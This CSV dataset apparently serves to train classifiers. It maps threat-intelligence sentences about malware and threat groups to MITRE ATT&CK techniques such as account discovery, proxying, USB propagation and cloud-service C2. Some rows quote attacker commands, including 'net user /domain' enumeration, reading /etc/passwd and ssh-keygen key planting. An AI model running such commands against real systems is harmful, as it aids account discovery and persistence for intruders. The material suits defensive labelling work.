"Mis-Type may create a file containing the results of the command ""cmd.exe /c net user {Username}"".",['T1087.001 - Account Discovery: Local Account'],fine_tune
OSInfo enumerates local and domain users,"['T1087.001 - Account Discovery: Local Account', 'T1087.002 - Account Discovery: Domain Account']",fine_tune
"OilRig has run ""net user"", ""net user /domain"", ""net group “domain admins” /domain"", and ""net group “Exchange Trusted Subsystem” /domain"" to get account listings on a victim.","['T1087.001 - Account Discovery: Local Account', 'T1087.002 - Account Discovery: Domain Account']",fine_tune
P.A.S. Webshell can display the /etc/passwd file on a compromised host.,['T1087.001 - Account Discovery: Local Account'],fine_tune
POWERSTATS can retrieve usernames from compromised hosts.,['T1087.001 - Account Discovery: Local Account'],fine_tune
PUNCHBUGGY can gather user names.,['T1087.001 - Account Discovery: Local Account'],fine_tune
"Pony has used the ""NetUserEnum"" function to enumerate local accounts.",['T1087.001 - Account Discovery: Local Account'],fine_tune
Poseidon Group searches for administrator accounts on both the local victim machine and the network.,"['T1087.001 - Account Discovery: Local Account', 'T1087.002 - Account Discovery: Domain Account']",fine_tune
PoshC2 can enumerate local and domain user account information.,"['T1087.001 - Account Discovery: Local Account', 'T1087.002 - Account Discovery: Domain Account']",fine_tune
"RATANKBA uses the ""net user"" command.",['T1087.001 - Account Discovery: Local Account'],fine_tune
Remsec can obtain a list of users.,['T1087.001 - Account Discovery: Local Account'],fine_tune
S-Type has run the command `net user` on a victim.,['T1087.001 - Account Discovery: Local Account'],fine_tune
"SMOKEDHAM has used ""net.exe user"" and ""net.exe users"" to enumerate local accounts on a compromised host.",['T1087.001 - Account Discovery: Local Account'],fine_tune
Stuxnet enumerates user accounts of the local host.,['T1087.001 - Account Discovery: Local Account'],fine_tune
TrickBot collects the users of the system.,['T1087.001 - Account Discovery: Local Account'],fine_tune
"Turla has used ""net user"" to enumerate local accounts on the system.",['T1087.001 - Account Discovery: Local Account'],fine_tune
AdFind can enumerate domain users.,['T1087.002 - Account Discovery: Domain Account'],fine_tune
Bazar has the ability to identify domain administrator accounts.,['T1087.002 - Account Discovery: Domain Account'],fine_tune
"BloodHound can collect information about domain users, including identification of domain admin accounts.",['T1087.002 - Account Discovery: Domain Account'],fine_tune
"BoomBox has the ability to execute an LDAP query to enumerate the distinguished name, SAM account name, and display name for all domain users.",['T1087.002 - Account Discovery: Domain Account'],fine_tune
CrackMapExec can enumerate the domain user accounts on a targeted system.,['T1087.002 - Account Discovery: Domain Account'],fine_tune
Dragonfly 2.0 used batch scripts to enumerate users on a victim domain controller.,['T1087.002 - Account Discovery: Domain Account'],fine_tune
Dragonfly has used batch scripts to enumerate users on a victim domain controller.,['T1087.002 - Account Discovery: Domain Account'],fine_tune
"During Operation Wocao, threat actors used the `net` command to retrieve information about domain accounts.",['T1087.002 - Account Discovery: Domain Account'],fine_tune
LAPSUS$ has used the AD Explorer tool to enumerate users on a victim's network.,['T1087.002 - Account Discovery: Domain Account'],fine_tune
"Lazarus Group has queried an active directory server to obtain the list of accounts, including administrator accounts.",['T1087.002 - Account Discovery: Domain Account'],fine_tune
"MuddyWater has used ""cmd.exe net user /domain"" to enumerate domain users.",['T1087.002 - Account Discovery: Domain Account'],fine_tune
"Net commands used with the ""/domain"" flag can be used to gather information about and manipulate user accounts on the current domain.",['T1087.002 - Account Discovery: Domain Account'],fine_tune
"Operation Wocao has used the ""net"" command to retrieve information about domain accounts.",['T1087.002 - Account Discovery: Domain Account'],fine_tune
"POWRUNER may collect user account information by running ""net user /domain"" or a series of other commands on a victim.",['T1087.002 - Account Discovery: Domain Account'],fine_tune
SILENTTRINITY can use `System.Security.AccessControl` namespaces to retrieve domain user information.,['T1087.002 - Account Discovery: Domain Account'],fine_tune
"Sandworm Team has used a tool to query Active Directory using LDAP, discovering information about usernames listed in AD.",['T1087.002 - Account Discovery: Domain Account'],fine_tune
"SoreFang can enumerate domain accounts via ""net.exe user /domain"".",['T1087.002 - Account Discovery: Domain Account'],fine_tune
Stuxnet enumerates user accounts of the domain.,['T1087.002 - Account Discovery: Domain Account'],fine_tune
The IceApple Active Directory Querier module  can perform authenticated requests against an Active Directory server.,['T1087.002 - Account Discovery: Domain Account'],fine_tune
"Turla has used ""net user /domain"" to enumerate domain accounts.",['T1087.002 - Account Discovery: Domain Account'],fine_tune
Valak has the ability to enumerate domain admin accounts.,['T1087.002 - Account Discovery: Domain Account'],fine_tune
dsquery can be used to gather information on user accounts within a domain.,['T1087.002 - Account Discovery: Domain Account'],fine_tune
menuPass has used the Microsoft administration tool csvde.exe to export Active Directory data.,['T1087.002 - Account Discovery: Domain Account'],fine_tune
Backdoor.Oldrea collects address book information from Outlook.,['T1087.003 - Email Account'],fine_tune
BoomBox can execute an LDAP query to discover e-mail accounts for domain users.,['T1087.003 - Email Account'],fine_tune
Emotet has been observed leveraging a module that can scrape email addresses from Outlook.,['T1087.003 - Email Account'],fine_tune
Lizar can collect email accounts from Microsoft Outlook and Mozilla Thunderbird.,['T1087.003 - Email Account'],fine_tune
Magic Hound has used Powershell to discover email accounts.,['T1087.003 - Email Account'],fine_tune
"MailSniper can be used to obtain account names from Exchange and Office 365 using the ""Get-GlobalAddressList"" cmdlet.",['T1087.003 - Email Account'],fine_tune
Ruler can be used to enumerate Exchange users and dump the GAL.,['T1087.003 - Email Account'],fine_tune
TrickBot collects email addresses from Outlook.,['T1087.003 - Email Account'],fine_tune
AADInternals can enumerate Azure AD users.,['T1087.004 - Cloud Account'],fine_tune
APT41 used a tool called CLASSFON to covertly proxy network communications.,['T1090 - Proxy'],fine_tune
BADCALL functions as a proxy server between the victim and C2 server.,['T1090 - Proxy'],fine_tune
Dridex contains a backconnect module for tunneling network traffic through a victim's computer. Infected computers become part of a P2P botnet that can relay C2 traffic to other infected peers.,['T1090 - Proxy'],fine_tune
Earth Lusca adopted Cloudflare as a proxy for compromised servers.,['T1090 - Proxy'],fine_tune
FLIPSIDE is a simple proxy that creates an outbound RDP connection.,['T1090 - Proxy'],fine_tune
"For Operation Sharpshooter, the threat actors used the ExpressVPN service to hide their location.",['T1090 - Proxy'],fine_tune
Fox Kitten has used the open source reverse proxy tools including FRPC and Go Proxy to establish connections from C2 to local servers.,['T1090 - Proxy'],fine_tune
Gazer identifies a proxy server if it exists and uses it to make HTTP requests.,['T1090 - Proxy'],fine_tune
HOPLIGHT has multiple proxy options that mask traffic between the malware and the remote operators.,['T1090 - Proxy'],fine_tune
HTRAN can proxy TCP socket connections to obfuscate command and control infrastructure.,['T1090 - Proxy'],fine_tune
KOCTOPUS has deployed a modified version of Invoke-Ngrok to expose open local ports to the Internet.,['T1090 - Proxy'],fine_tune
LAPSUS$ has leverage NordVPN for its egress points when targeting intended victims.,['T1090 - Proxy'],fine_tune
NETWIRE can implement use of proxies to pivot traffic.,['T1090 - Proxy'],fine_tune
Ngrok can be used to proxy connections to machines located behind NAT or firewalls.,['T1090 - Proxy'],fine_tune
POLONIUM has used the AirVPN service for operational activity.,['T1090 - Proxy'],fine_tune
PoshC2 contains modules that allow for use of proxies in command and control.,['T1090 - Proxy'],fine_tune
QuasarRAT can communicate over a reverse proxy using SOCKS5.,['T1090 - Proxy'],fine_tune
Remcos uses the infected hosts as SOCKS5 proxies to allow for tunneling and proxying.,['T1090 - Proxy'],fine_tune
SDBbot has the ability to use port forwarding to establish a proxy between a target host and C2.,['T1090 - Proxy'],fine_tune
SombRAT has the ability to use an embedded SOCKS proxy in C2 communications.,['T1090 - Proxy'],fine_tune
Ursnif has used a peer-to-peer (P2P) network for C2.,['T1090 - Proxy'],fine_tune
Vasport is capable of tunneling though a proxy.,['T1090 - Proxy'],fine_tune
WarzoneRAT has the capability to act as a reverse proxy.,['T1090 - Proxy'],fine_tune
Windigo has delivered a generic Windows proxy Win32/Glubteta.M. Windigo has also used multiple reverse proxy chains as part of their C2 infrastructure.,['T1090 - Proxy'],fine_tune
Wizard Spider has used a module named NewBCtestnDll64 as a reverse SOCKS proxy.,['T1090 - Proxy'],fine_tune
ZxShell can set up an HTTP or SOCKS proxy.,['T1090 - Proxy'],fine_tune
netsh can be used to set up a proxy tunnel to allow remote host access to an infected host.,['T1090 - Proxy'],fine_tune
APT39 used custom tools to create SOCK5 and custom protocol proxies between infected hosts.,['T1090.001 - Proxy: Internal Proxy'],fine_tune
CHOPSTICK used a proxy server between victims and the C2 server.,['T1090.001 - Proxy: Internal Proxy'],fine_tune
"Cobalt Strike can be configured to have commands relayed over a peer-to-peer network of infected hosts. This can be used to limit the number of egress points, or provide access to a host without direct internet access.",['T1090.001 - Proxy: Internal Proxy'],fine_tune
Duqu can be configured to have commands relayed over a peer-to-peer network of infected hosts if some of the hosts do not have Internet access.,['T1090.001 - Proxy: Internal Proxy'],fine_tune
FatDuke can used pipes to connect machines with restricted internet access to remote machines via other infected hosts.,['T1090.001 - Proxy: Internal Proxy'],fine_tune
Higaisa discovered system proxy settings and used them if available.,['T1090.001 - Proxy: Internal Proxy'],fine_tune
Hikit supports peer connections.,['T1090.001 - Proxy: Internal Proxy'],fine_tune
Lazarus Group has used a compromised router to serve as a proxy between a victim network's corporate and restricted segments.,['T1090.001 - Proxy: Internal Proxy'],fine_tune
MiniDuke can can use a named pipe to forward communications from one compromised machine with internet access to other compromised machines.,['T1090.001 - Proxy: Internal Proxy'],fine_tune
Mythic can leverage a peer-to-peer C2 profile between agents.,['T1090.001 - Proxy: Internal Proxy'],fine_tune
Operation Wocao can proxy traffic through multiple infected systems.,['T1090.001 - Proxy: Internal Proxy'],fine_tune
Pay2Key has designated machines in the compromised network to serve as reverse proxy pivot points to channel communications with C2.,['T1090.001 - Proxy: Internal Proxy'],fine_tune
Strider has used local servers with both local network and Internet access to act as internal proxy nodes to exfiltrate data from other parts of the network without direct Internet access.,['T1090.001 - Proxy: Internal Proxy'],fine_tune
"The ""ZJ"" variant of BACKSPACE allows ""ZJ link"" infections with Internet access to relay traffic from ""ZJ listen"" to a command server.",['T1090.001 - Proxy: Internal Proxy'],fine_tune
The Winnti for Windows HTTP/S C2 mode can make use of a local proxy.,['T1090.001 - Proxy: Internal Proxy'],fine_tune
Turla has compromised internal network systems to act as a proxy to forward traffic to C2.,['T1090.001 - Proxy: Internal Proxy'],fine_tune
UNC2452 configured at least one instance of Cobalt Strike to use a network pipe over SMB during the 2020 SolarWinds intrusion.,['T1090.001 - Proxy: Internal Proxy'],fine_tune
"APT28 used other victims as proxies to relay command traffic, for instance using a compromised Georgian military email server as a hop point to NATO victims. The group has also used a tool that acts as a proxy to allow C2 even if the victim is behind a router. APT28 has also used a machine to relay and obscure communications between CHOPSTICK and their server.",['T1090.002 - External Proxy'],fine_tune
An APT3 downloader establishes SOCKS5 connections for its initial C2.,"['T1090.002 - External Proxy', 'T1095 - Non-Application Layer Protocol']",fine_tune
FIN5 maintains access to victim environments by using FLIPSIDE to create a proxy for a backup RDP tunnel.,['T1090.002 - External Proxy'],fine_tune
GALLIUM used a modified version of HTRAN to redirect connections between networks.,['T1090.002 - External Proxy'],fine_tune
Lazarus Group has used multiple proxies to obfuscate network traffic from victims.,['T1090.002 - External Proxy'],fine_tune
MuddyWater has controlled POWERSTATS from behind a proxy network to obfuscate the C2 location. MuddyWater has used a series of compromised websites that victims connected to randomly to relay information to command and control (C2).,['T1090.002 - External Proxy'],fine_tune
Mythic can leverage a modified SOCKS5 proxy to tunnel egress C2 traffic.,['T1090.002 - External Proxy'],fine_tune
"Okrum can identify proxy servers configured and used by the victim, and use it to make HTTP requests to C2 its server.",['T1090.002 - External Proxy'],fine_tune
POWERSTATS has connected to C2 servers through proxies.,['T1090.002 - External Proxy'],fine_tune
QakBot has a module that can proxy C2 communications.,['T1090.002 - External Proxy'],fine_tune
"Silence has used ProxyBot, which allows the attacker to redirect traffic from the current node to the backconnect server via Sock4\Socks5.",['T1090.002 - External Proxy'],fine_tune
The Winnti for Windows HTTP/S C2 mode can make use of an external proxy.,['T1090.002 - External Proxy'],fine_tune
Tonto Team has routed their traffic through an external server in order to obfuscate their location.,['T1090.002 - External Proxy'],fine_tune
TrickBot has been known to reach a command and control server via one of nine proxy IP addresses.,['T1090.002 - External Proxy'],fine_tune
menuPass has used a global service provider's IP as a proxy for C2 traffic from a victim.,['T1090.002 - External Proxy'],fine_tune
"A backdoor used by APT29 created a Tor hidden service to forward traffic from the Tor client to local ports 3389 (RDP), 139 (Netbios), and 445 (SMB) enabling full remote access from outside the network and has also used TOR.",['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
APT28 has routed traffic over Tor and VPN servers to obfuscate their activities.,['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
CostaRicto has used a layer of proxies to manage C2 communications.,['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
Cyclops Blink has used Tor nodes for C2 traffic.,['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
Dok downloads and installs Tor via homebrew.,['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
Dridex can use multiple layers of proxy servers to hide terminal nodes in its infrastructure.,['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
"During Operation Wocao, threat actors executed commands through the installed web shell via Tor exit nodes.",['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
FIN4 has used Tor to log in to victims' email accounts.,['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
GreyEnergy has used Tor relays for Command and Control servers.,['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
Inception used chains of compromised routers to proxy C2 communications between them and cloud service providers.,['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
Industroyer used Tor nodes for C2.,['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
MacSpy uses Tor for command and control.,['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
Operation Wocao has executed commands through the installed web shell via Tor exit nodes.,['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
StrongPity can use multiple layers of proxy servers to hide terminal nodes in its infrastructure.,['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
Traffic traversing the Tor network will be forwarded to multiple nodes before exiting the Tor network and continuing on to its intended destination.,['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
Ursnif has used Tor for C2.,['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
WannaCry uses Tor for command and control traffic.,['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
APT29 has used the meek domain fronting plugin for Tor to hide the destination of C2 traffic.,['T1090.004 - Domain Fronting'],fine_tune
Cobalt Strike has the ability to accept a value for HTTP Host Header to enable domain fronting.,['T1090.004 - Domain Fronting'],fine_tune
SMOKEDHAM has used a fronted domain to obfuscate its hard-coded C2 server domain.,['T1090.004 - Domain Fronting'],fine_tune
APT28 uses a tool to infect connected USB devices and transmit itself to air-gapped computers when the infected USB device is inserted.,['T1091 - Replication Through Removable Media'],fine_tune
APT30 may have used the SHIPSHAPE malware to move onto air-gapped networks. SHIPSHAPE targets removable drives to spread to other systems by modifying the drive to use Autorun to execute or by hiding legitimate document files and copying an executable to the folder with the same name as the legitimate document.,['T1091 - Replication Through Removable Media'],fine_tune
"Agent.btz drops itself onto removable media devices and creates an autorun.inf file with an instruction to run that file. When the device is inserted into another system, it opens autorun.inf and loads the malware.",['T1091 - Replication Through Removable Media'],fine_tune
Conficker variants used the Windows AUTORUN feature to spread through USB propagation.,['T1091 - Replication Through Removable Media'],fine_tune
Crimson can spread across systems by infecting removable media.,['T1091 - Replication Through Removable Media'],fine_tune
Darkhotel's selective infector modifies executables stored on removable media as a method of spreading across computers.,['T1091 - Replication Through Removable Media'],fine_tune
DustySky searches for removable media and duplicates itself onto it.,['T1091 - Replication Through Removable Media'],fine_tune
"FIN7 actors have mailed USB drives to potential victims containing malware that downloads and installs various backdoors, including in some cases for ransomware operations.",['T1091 - Replication Through Removable Media'],fine_tune
Flame contains modules to infect USB sticks and spread laterally to other Windows systems the stick is plugged into using Autorun functionality.,['T1091 - Replication Through Removable Media'],fine_tune
H1N1 has functionality to copy itself to removable media.,['T1091 - Replication Through Removable Media'],fine_tune
Mustang Panda has used a customized PlugX variant which could spread through USB connections.,['T1091 - Replication Through Removable Media'],fine_tune
Ramsay can spread itself by infecting other portable executable files on removable drives.,['T1091 - Replication Through Removable Media'],fine_tune
Stuxnet can propagate via removable media using an autorun.inf file or the CVE-2010-2568 LNK vulnerability.,['T1091 - Replication Through Removable Media'],fine_tune
USBStealer drops itself onto removable media and relies on Autorun to execute the malicious file when a user opens the removable media on another system.,['T1091 - Replication Through Removable Media'],fine_tune
USBferry can copy its installer to attached USB storage devices.,['T1091 - Replication Through Removable Media'],fine_tune
Ursnif has copied itself to and infected removable drives for propagation.,['T1091 - Replication Through Removable Media'],fine_tune
njRAT can be configured to spread via removable drives.,['T1091 - Replication Through Removable Media'],fine_tune
"USBStealer drops commands for a second victim onto a removable media drive inserted into the first victim, and commands are executed when the drive is inserted into the second victim.",['T1092 - Communication Through Removable Media'],fine_tune
Anchor has used ICMP in C2 communications.,['T1095 - Non-Application Layer Protocol'],fine_tune
Aria-body has used TCP in C2 communications.,['T1095 - Non-Application Layer Protocol'],fine_tune
AuTo Stealer can use TCP to communicate with command and control servers.,['T1095 - Non-Application Layer Protocol'],fine_tune
BITTER has used TCP for C2 communications.,['T1095 - Non-Application Layer Protocol'],fine_tune
BUBBLEWRAP can communicate using SOCKS.,['T1095 - Non-Application Layer Protocol'],fine_tune
BackdoorDiplomacy has used EarthWorm for network tunneling with a SOCKS5 server and port transfer functionalities.,['T1095 - Non-Application Layer Protocol'],fine_tune
Bandook has a command built in to use a raw TCP socket.,['T1095 - Non-Application Layer Protocol'],fine_tune
Carbon uses TCP and UDP for C2.,['T1095 - Non-Application Layer Protocol'],fine_tune
"Cobalt Strike can be configured to use TCP, ICMP, and UDP for C2 communications.",['T1095 - Non-Application Layer Protocol'],fine_tune
Cryptoistic can use TCP in communications with C2.,['T1095 - Non-Application Layer Protocol'],fine_tune
Derusbi binds to a raw socket on a random source port between 31800 and 31900 for C2.,['T1095 - Non-Application Layer Protocol'],fine_tune
Drovorub can use TCP to communicate between its agent and client modules.,['T1095 - Non-Application Layer Protocol'],fine_tune
FIN6 has used Metasploit Bind and Reverse TCP stagers.,['T1095 - Non-Application Layer Protocol'],fine_tune
FunnyDream can communicate with C2 over TCP and UDP.,['T1095 - Non-Application Layer Protocol'],fine_tune
Gelsemium has the ability to use TCP and UDP in C2 communications.,['T1095 - Non-Application Layer Protocol'],fine_tune
HAFNIUM has used TCP for C2.,['T1095 - Non-Application Layer Protocol'],fine_tune
"If NETEAGLE does not detect a proxy configured on the infected machine, it will send beacons via UDP/6000. Also, after retrieving a C2 IP address and Port Number, NETEAGLE will initiate a TCP connection to this socket. The ensuing connection is a plaintext C2 channel in which commands are specified by DWORDs.",['T1095 - Non-Application Layer Protocol'],fine_tune
LookBack uses a custom binary protocol over sockets for C2 communications.,['T1095 - Non-Application Layer Protocol'],fine_tune
MacMa has used a custom JSON-based protocol for its C&C communications.,['T1095 - Non-Application Layer Protocol'],fine_tune
Metamorfo has used raw TCP for C2.,['T1095 - Non-Application Layer Protocol'],fine_tune
Mis-Type network traffic can communicate over a raw socket.,['T1095 - Non-Application Layer Protocol'],fine_tune
MoonWind completes network communication via raw sockets.,['T1095 - Non-Application Layer Protocol'],fine_tune
Mythic supports WebSocket and TCP-based C2 profiles.,['T1095 - Non-Application Layer Protocol'],fine_tune
NETWIRE can use TCP in C2 communications.,['T1095 - Non-Application Layer Protocol'],fine_tune
Nebulae can use TCP in C2 communications.,['T1095 - Non-Application Layer Protocol'],fine_tune
PLATINUM has used the Intel® Active Management Technology (AMT) Serial-over-LAN (SOL) channel for command and control.,['T1095 - Non-Application Layer Protocol'],fine_tune
Pay2Key has sent its public key to the C2 server over TCP.,['T1095 - Non-Application Layer Protocol'],fine_tune
PingPull variants have the ability to communicate with C2 servers using ICMP or TCP.,['T1095 - Non-Application Layer Protocol'],fine_tune
QuasarRAT can use TCP for C2 communication.,['T1095 - Non-Application Layer Protocol'],fine_tune
RCSession has the ability to use TCP and UDP in C2 communications.,['T1095 - Non-Application Layer Protocol'],fine_tune
RainyDay can use TCP in C2 communications.,['T1095 - Non-Application Layer Protocol'],fine_tune
"Remsec is capable of using ICMP, TCP, and UDP for C2.",['T1095 - Non-Application Layer Protocol'],fine_tune
SDBbot has the ability to communicate with C2 with TCP over port 443.,['T1095 - Non-Application Layer Protocol'],fine_tune
SombRAT has the ability to use TCP sockets to send data and ICMP to ping the C2 server.,['T1095 - Non-Application Layer Protocol'],fine_tune
Some Reaver variants use raw TCP for C2.,['T1095 - Non-Application Layer Protocol'],fine_tune
Some variants of FakeM use SSL to communicate with C2 servers.,['T1095 - Non-Application Layer Protocol'],fine_tune
TSCookie can use ICMP to receive information on the destination server.,['T1095 - Non-Application Layer Protocol'],fine_tune
Taidoor can use TCP for C2 communications.,['T1095 - Non-Application Layer Protocol'],fine_tune
WINDSHIELD C2 traffic can communicate via TCP raw sockets.,['T1095 - Non-Application Layer Protocol'],fine_tune
"Winnti for Linux has used ICMP, custom TCP, and UDP in outbound communications.",['T1095 - Non-Application Layer Protocol'],fine_tune
Winnti for Windows can communicate using custom TCP.,['T1095 - Non-Application Layer Protocol'],fine_tune
gh0st RAT has used an encrypted protocol within TCP segments to communicate with the C2.,['T1095 - Non-Application Layer Protocol'],fine_tune
APT3 has been known to add created accounts to local admin groups to maintain elevated access.,['T1098 - Account Manipulation'],fine_tune
"Kimsuky has added accounts to specific groups with ""net localgroup"".",['T1098 - Account Manipulation'],fine_tune
Lazarus Group malware WhiskeyDelta-Two contains a function that attempts to rename the administrator’s account.,['T1098 - Account Manipulation'],fine_tune
Magic Hound granted compromised email accounts read access to the email boxes of additional targeted accounts. The group then was able to authenticate to the intended victim's OWA (Outlook Web Access) portal and read hundreds of email communications for information on Middle East organizations.,"['T1098 - Account Manipulation', 'T1098.002 - Account Manipulation: Additional Email Delegate Permissions']",fine_tune
"Sandworm Team used the ""sp_addlinkedsrvlogin"" command in MS-SQL to create a link between a created account and other servers in the network.",['T1098 - Account Manipulation'],fine_tune
"The Mimikatz credential dumper has been extended to include Skeleton Key domain controller authentication bypass functionality. The ""LSADUMP::ChangeNTLM"" and ""LSADUMP::SetNTLM"" modules can also manipulate the password hash of an account without knowing the clear text value.",['T1098 - Account Manipulation'],fine_tune
APT29 has added credentials to OAuth Applications and Service Principals.,['T1098.001 - Account Manipulation: Additional Cloud Credentials'],fine_tune
UNC2452 added credentials to OAuth Applications and Service Principals.,['T1098.001 - Account Manipulation: Additional Cloud Credentials'],fine_tune
"APT28 has used a Powershell cmdlet to grant the ""ApplicationImpersonation"" role to a compromised account.",['T1098.002 - Account Manipulation: Additional Email Delegate Permissions'],fine_tune
"APT29 added their own devices as allowed IDs for active sync using ""Set-CASMailbox"", allowing it to obtain copies of victim mailboxes. It also added additional permissions (such as Mail.Read and Mail.ReadWrite) to compromised Application or Service Principals.",['T1098.002 - Account Manipulation: Additional Email Delegate Permissions'],fine_tune
"UNC2452 added their own devices as allowed IDs for active sync using ""Set-CASMailbox"", allowing it to obtain copies of victim mailboxes. It also added additional permissions (such as Mail.Read and Mail.ReadWrite) to compromised Application or Service Principals.",['T1098.002 - Account Manipulation: Additional Email Delegate Permissions'],fine_tune
APT29 has granted `company administrator` privileges to a newly created service principal.,['T1098.003 - Account Manipulation: Additional Cloud Roles'],fine_tune
"Bundlore creates a new key pair with ""ssh-keygen"" and drops the newly created user key in ""authorized_keys"" to enable remote login.",['T1098.004 - SSH Authorized Keys'],fine_tune
Earth Lusca has dropped an SSH-authorized key in the `/root/.ssh` folder in order to access a compromised server with SSH.,['T1098.004 - SSH Authorized Keys'],fine_tune
"Skidmap has the ability to add the public key of its handlers to the ""authorized_keys"" file to maintain persistence on an infected host.",['T1098.004 - SSH Authorized Keys'],fine_tune
"TeamTNT has added RSA keys in ""authorized_keys"".",['T1098.004 - SSH Authorized Keys'],fine_tune
"XCSSET will create an ssh key if necessary with the ""ssh-keygen -t rsa -f $HOME/.ssh/id_rsa -P"" command. XCSSET will upload a private key file to the server to remotely access the host without a password.",['T1098.004 - SSH Authorized Keys'],fine_tune
AADInternals can register a device to Azure AD.,['T1098.005 - Device Registration'],fine_tune
"APT29 registered devices in order to enable mailbox syncing via the ""Set-CASMailbox"" command.",['T1098.005 - Device Registration'],fine_tune
"APT32 has used Dropbox, Amazon S3, and Google Drive to host malicious downloads.",['T1102 - Web Service'],fine_tune
Bazar downloads have been hosted on Google Docs.,['T1102 - Web Service'],fine_tune
BoomBox can download files from Dropbox using a hardcoded access token.,['T1102 - Web Service'],fine_tune
Bumblebee has been downloaded to victim's machines from OneDrive.,['T1102 - Web Service'],fine_tune
Chimera has used Google Cloud's appspot service to host C2 servers.,['T1102 - Web Service'],fine_tune
Doki has used the dogechain.info API to generate a C2 address.,['T1102 - Web Service'],fine_tune
"During Operation Spalax, the threat actors used OneDrive and MediaFire to host payloads.",['T1102 - Web Service'],fine_tune
"EXOTIC LILY has used file-sharing services including WeTransfer, TransferNow, and OneDrive to deliver payloads.",['T1102 - Web Service'],fine_tune
Ember Bear has used Discord's content delivery network (CDN) to deliver malware and malicious scripts to a compromised host.,['T1102 - Web Service'],fine_tune
FIN6 has used Pastebin and Google Storage to host content for their operations.,['T1102 - Web Service'],fine_tune
"FIN8 has used ""sslip.io"", a free IP to domain mapping service that also makes SSL certificate generation easier for traffic encryption, as part of their command and control.",['T1102 - Web Service'],fine_tune
Gamaredon Group has used GitHub repositories for downloaders which will be obtained by the group's .NET executable on the compromised system.,['T1102 - Web Service'],fine_tune
Inception has incorporated at least five different cloud service providers into their C2 infrastructure including CloudMe.,['T1102 - Web Service'],fine_tune
LazyScripter has used GitHub to host its payloads to operate spam campaigns.,['T1102 - Web Service'],fine_tune
Mustang Panda has used DropBox URLs to deliver variants of PlugX.,['T1102 - Web Service'],fine_tune
NETWIRE has used web services including Paste.ee to host payloads.,['T1102 - Web Service'],fine_tune
SMOKEDHAM has used Google Drive and Dropbox to host files downloaded by victims via malicious links.,['T1102 - Web Service'],fine_tune
SharpStage has used a legitimate web service for evading detection.,['T1102 - Web Service'],fine_tune
TeamTNT has leveraged iplogger.org to send collected data back to C2.,['T1102 - Web Service'],fine_tune
"Turla has used legitimate web services including Pastebin, Dropbox, and GitHub for C2 communications.",['T1102 - Web Service'],fine_tune
WhisperGate can download additional payloads hosted on a Discord channel.,['T1102 - Web Service'],fine_tune
Astaroth can store C2 information on cloud hosting services such as AWS and CloudFlare and websites like YouTube and Facebook.,['T1102.001 - Dead Drop Resolver'],fine_tune
BLACKCOFFEE uses Microsoft’s TechNet Web portal to obtain a dead drop resolver containing an encoded tag with the IP address of a command and control server.,['T1102.001 - Dead Drop Resolver'],fine_tune
CharmPower can retrieve C2 domain information from actor-controlled S3 buckets.,['T1102.001 - Dead Drop Resolver'],fine_tune
Javali can read C2 information from Google Documents and YouTube.,['T1102.001 - Dead Drop Resolver'],fine_tune
Patchwork hides base64-encoded and encrypted C2 server locations in comments on legitimate websites.,['T1102.001 - Dead Drop Resolver'],fine_tune
PlugX uses Pastebin to store C2 addresses.,['T1102.001 - Dead Drop Resolver'],fine_tune
"PolyglotDuke can use Twitter, Reddit, Imgur and other websites to get a C2 URL.",['T1102.001 - Dead Drop Resolver'],fine_tune
RTM has used an RSS feed on Livejournal to update a list of encrypted C2 server names.,['T1102.001 - Dead Drop Resolver'],fine_tune
RTM has used an RSS feed on Livejournal to update a list of encrypted C2 server names. RTM has also hidden Pony C2 server IP addresses within transactions on the Bitcoin and Namecoin blockchain.,['T1102.001 - Dead Drop Resolver'],fine_tune
Some MiniDuke components use Twitter to initially obtain the address of a C2 server or as a backup if no hard-coded C2 server responds.,['T1102.001 - Dead Drop Resolver'],fine_tune
Xbash can obtain a webpage hosted on Pastebin to update its C2 domain list.,['T1102.001 - Dead Drop Resolver'],fine_tune
A Turla JavaScript backdoor has used Google Apps Script as its C2 server.,['T1102.002 - Bidirectional Communication'],fine_tune
APT12 has used blogs and WordPress for C2 infrastructure.,['T1102.002 - Bidirectional Communication'],fine_tune
APT28 has used Google Drive for C2.,['T1102.002 - Bidirectional Communication'],fine_tune
APT29 has used social media platforms to hide communications to C2 servers.,['T1102.002 - Bidirectional Communication'],fine_tune
APT39 has communicated with C2 through files uploaded to and downloaded from DropBox.,['T1102.002 - Bidirectional Communication'],fine_tune
BLUELIGHT can use different cloud providers for its C2.,['T1102.002 - Bidirectional Communication'],fine_tune
BoxCaon has used DropBox for C2 communications.,['T1102.002 - Bidirectional Communication'],fine_tune
"Carbanak has used a VBScript named ""ggldr"" that uses Google Apps Script, Sheets, and Forms services for C2.",['T1102.002 - Bidirectional Communication'],fine_tune
ComRAT has the ability to use the Gmail web UI to receive commands and exfiltrate information.,['T1102.002 - Bidirectional Communication'],fine_tune
"Comnie uses blogs and third-party sites (GitHub, tumbler, and BlogSpot) to avoid DNS-based blocking of their communication to the command and control server.",['T1102.002 - Bidirectional Communication'],fine_tune
CreepyDrive can use OneDrive for C2.,['T1102.002 - Bidirectional Communication'],fine_tune
Crutch can use Dropbox to receive commands and upload stolen data.,['T1102.002 - Bidirectional Communication'],fine_tune
"DOGCALL is capable of leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex for C2.",['T1102.002 - Bidirectional Communication'],fine_tune
Empire can use Dropbox and GitHub for C2.,['T1102.002 - Bidirectional Communication'],fine_tune
"FIN7 used legitimate services like Google Docs, Google Scripts, and Pastebin for C2.",['T1102.002 - Bidirectional Communication'],fine_tune
Grandoreiro can utilize web services including Google sites to send and receive C2 data.,['T1102.002 - Bidirectional Communication'],fine_tune
"HEXANE has used cloud services, including OneDrive, for C2.",['T1102.002 - Bidirectional Communication'],fine_tune
